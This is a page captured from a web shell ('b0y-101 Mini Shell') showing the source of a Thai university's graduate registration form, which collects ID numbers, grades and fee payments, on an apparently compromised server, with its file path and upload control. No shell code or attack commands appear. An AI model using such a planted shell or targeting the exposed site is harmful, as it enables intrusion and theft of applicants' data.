b0y-101 Mini Shell


Current Path : E:/www/shee/sheeregis/
File Upload :
Current File : E:/www/shee/sheeregis/sheeregis.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>

<script type="text/javascript" src="css/jquery.min.js"></script>

<!------------------------------------------------------------------------------>
<script type="text/javascript">
    function picslipType(){
        var fileName = document.getElementById("picslip").value;
        var idxDot = fileName.lastIndexOf(".") + 1;
        var extFile = fileName.substr(idxDot, fileName.length).toLowerCase();
        if (extFile=="jpg" || extFile=="jpeg" || extFile=="png"){
            //TO DO
        }else{
            alert("หลักฐานการโอนเงินค่าสมัคร   ต้องเป็นไฟร์รูปเท่านั้น");
			document.getElementById("picslip").value="";
        }   
    }
	
	  function pictcType(){
        var fileName = document.getElementById("pictc").value;
        var idxDot = fileName.lastIndexOf(".") + 1;
        var extFile = fileName.substr(idxDot, fileName.length).toLowerCase();
        if (extFile=="pdf"){
            //TO DO
        }else{
            alert("สำเนาทรานสคริป  ต้องเป็นไฟร์ pdf เท่านั้น");
			document.getElementById("pictc").value="";
        }   
    }
	
	</script>
<!------------------------------------------------------------------------------>
<script type="text/javascript">
$(document).ready(function(){
	$("#id_card").change(function(){
		var flag;
		$.ajax({
			url: "ckidcard.php",
			data: "id_card=" + $("#id_card").val(),
			type: "POST",
			async:false,
			success: function(data,status) { 
			   var result = data.split(",");
			   flag = result[0];
			   var msg = result[1];
			   $("#msgidcard").html(msg);
			},
			error: function(xhr, status, exception) { alert(status); }
		});
		return flag;
	});
});
</script>

</head>

<body>

<div align="center">
<form action="sheeregis_up.php" method="post" enctype="multipart/form-data" name="sheeregis">

<fieldset style="width:98%">
    <legend><font color="#800000">ข้อมูลนักศึกษา</font></legend>
    
     <table width="500" border="0" cellspacing="5" cellpadding="0" >
   
  <tr>
    <td  width="180">
   	 	<font color="#333333">รหัสบัตรประชาชน</font>
    	<font color="#FF0000">*</font>
    </td>
    <td>
    <input type="text" name="id_card"  id="id_card"    pattern="[0-9]{13,}" title="กรอกตัวเลข 13หลัก เท่านั้น" maxlength="13"  required/>
    <span id="msgidcard"></span>
    </td>
  </tr>
  
  
   <tr>
    <td>
    	<font color="#800000">ระดับปริญญา</font>
    	<font color="#FF0000">*</font>
    </td>
    <td>
    
    
    <select id="degree"  name="degree" required>
  			  <option ></option>
   			<option value="ระดับปริญญาโท">ระดับปริญญาโท</option>
   			<option value="ระดับปริญญาเอก">ระดับปริญญาเอก</option>
    </select>
    
    </td>
  </tr>
  
  <tr>
    <td>
    	<font color="#800000">ชื่อ</font>
    	<font color="#FF0000">*</font>
    </td>
    <td>
    <input type="text" name="name_std"   required/>
    </td>
  </tr>
  
  
    <tr>
    <td>
    	<font color="#333333">นามสกุล</font>
   		 <font color="#FF0000">*</font>
    </td>
    <td>
    <input type="text" name="lastname_std"   required/>
    </td>
  </tr>
  
  <tr>   
    <td>
    	<font color="#800000">เบอร์โทร</font>
        <font color="#FF0000">*</font>
    </td>
    <td>
    <input type="text" name="tel_std"   pattern="[0-9]{10,}" title="กรอกตัวเลข 10หลัก เท่านั้น" maxlength="10"  required />
    </td>
  </tr>
  
  <tr>   
    <td>
    	<font color="#333333">อีเมล <font color="#FF0000">*</font></font>
    </td>
    <td>
    <input type="text" name="email_std"  required />
    </td>
  </tr>
  
    <tr>
    <td>
    	<font color="#800000" title="ตัวอย่าง ระดับปริญญาตรี สาขาอิเล็กทรอนิส์" >วุฒิการศึกษาและสาขา</font>
        <font color="#FF0000">*</font>
    </td>
    <td>
    <textarea rows="2" cols="22"  name="branch_std"  title="ตัวอย่าง ระดับปริญญาตรี สาขาอิเล็กทรอนิส์" required></textarea>
    </td>
  </tr>
  
  
  
  <tr>
    <td>
    	<font color="#333333">เกรดเฉลี่ย</font>
        <font color="#FF0000">*</font>
    </td>
    <td>
     <input type="text" name="great_std"   required   maxlength="4"  size="5" />
     </td>
  </tr>
  
    <tr>
    <td><font color="#800000">ตำแหน่งงาน</font></td>
    <td>
    
    <textarea rows="2" cols="22"  name="jobtitle" ></textarea>
    </td>
  </tr>
 
  <tr>
    <td><font color="#333333">สถานที่ทำงาน</font></td>
    <td>
    <textarea rows="4" cols="22"  name="location_office"  ></textarea>
    
    </td>
  </tr>
  
    <tr>
    <td><font color="#800000">แผนการศึกษา (โปรดระบุ)*</font>
    
	</td>
    <td>
    <input name= "thesis" type="radio" id="radio" value="แผน ก2(ทำวิทยานิพนธ์)" />แผน ก2(ทำวิทยานิพนธ์)<br />
    <input name= "thesis" type="radio" id="radio" value="แผน ข(ไม่ทำวิทยานิพนธ์)" required />แผน ข(ไม่ทำวิทยานิพนธ์) 
    
    </td>
  </tr>


</table>



    

</fieldset>
<!--------------------------------------------------------------------------------------------->
<fieldset style="width:98%">
    <legend><font color="#0000FF">ข้อมูลเอกสาร</font></legend>
    
     <div align="left">
    <font color="#800000"> โอนเงินค่าสมัครจำนวน 500บาท เลขบัญชี 014-1-07027-6 ธนาคารทหารไทยธนชาต(ttb)  ชื่อบัญชีมหาวิทยาลัยรามคำแหง คณะวิศวกรรมศาสตร์ (รายได้comcode) </font>
   
     </div>
      <br/> <br/>
    <table width="550" cellspacing="0" cellpadding="0" border="0" >
   		 <tr>
    		<td> แนบหลักฐานการโอนเงินค่าสมัคร<font color="#FF0000">*</font></td>
    		<td>
            <input  type="file"   name="picslip"  id="picslip" accept="image/*" onchange="picslipType()" required />  
    		</td>
   	 </tr>
    <tr>
     <td colspan="2" align="left">  &nbsp; &nbsp; &nbsp;<font color="#BF0000">หลักฐานการโอนเงินค่าสมัคร ต้องเป็นรูปภาพ</font></td>
     </tr>   
     
     
       <tr>
     <td colspan="2" height="15"> </td>
     </tr>
     
     
      <tr>
    		<td>สำเนาทรานสคริป<font color="#FF0000">*</font></td>
    		<td>
            <input  type="file"  name="pictc" id="pictc"   accept=".pdf"  onchange="pictcType()"  required />  
    		</td>
   	 </tr>
     
     <tr>
     <td colspan="2" align="left"> 
      &nbsp; &nbsp; &nbsp;<font color="#0000FF">สำเนาทรานสคริป ต้องเป็นไฟล์pdf</font><br/>
      </td>
     </tr>
     
    </table>

</fieldset>
<!--------------------------------------------------------------------------------------------->
<br/>
<input type="checkbox"  name="ok" required="required" title="ยอมรับเงื่อนไขการเก็บข้อมูล" /> ยอมรับเงื่อนไขการเก็บข้อมูล
<a href="pdpa.php" target="new">นโยบายความเป็นส่วนตัว</a>

<br/><br/>
<input type="submit" value="บันทึกข้อมูล"  style="padding: 5px 10px;   color:#004000; font-size:15px;" /> 
<input type="reset" value="ล้างข้อมูล"  style="padding: 5px 10px;   color:#800000; font-size:15px;"/>

<br/>
<br/>
</form>
</div>
</body>
</html>

Copyright © 2019 by b0y-101